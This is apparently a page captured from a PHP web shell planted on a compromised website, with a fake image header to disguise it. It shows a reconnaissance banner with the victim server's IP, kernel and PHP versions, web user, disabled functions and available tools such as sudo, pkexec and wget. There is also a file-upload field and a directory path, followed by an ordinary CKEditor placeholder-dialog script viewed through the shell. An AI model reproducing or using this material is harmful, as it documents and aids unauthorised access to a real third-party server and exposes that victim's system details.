????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.141.35.52 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.biminfo.se/vatternkajak.se/ckeditor/_source/plugins/placeholder/dialogs/ |
Upload File : |
/* * Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved. * For licensing, see LICENSE.html or http://ckeditor.com/license */ (function() { function placeholderDialog( editor, isEdit ) { var lang = editor.lang.placeholder, generalLabel = editor.lang.common.generalTab; return { title : lang.title, minWidth : 300, minHeight : 80, contents : [ { id : 'info', label : generalLabel, title : generalLabel, elements : [ { id : 'text', type : 'text', style : 'width: 100%;', label : lang.text, 'default' : '', required : true, validate : CKEDITOR.dialog.validate.notEmpty( lang.textMissing ), setup : function( element ) { if ( isEdit ) this.setValue( element.getText().slice( 2, -2 ) ); }, commit : function( element ) { var text = '[[' + this.getValue() + ']]'; // The placeholder must be recreated. CKEDITOR.plugins.placeholder.createPlaceholder( editor, element, text ); } } ] } ], onShow : function() { if ( isEdit ) this._element = CKEDITOR.plugins.placeholder.getSelectedPlaceHoder( editor ); this.setupContent( this._element ); }, onOk : function() { this.commitContent( this._element ); delete this._element; } }; } CKEDITOR.dialog.add( 'createplaceholder', function( editor ) { return placeholderDialog( editor ); }); CKEDITOR.dialog.add( 'editplaceholder', function( editor ) { return placeholderDialog( editor, 1 ); }); } )();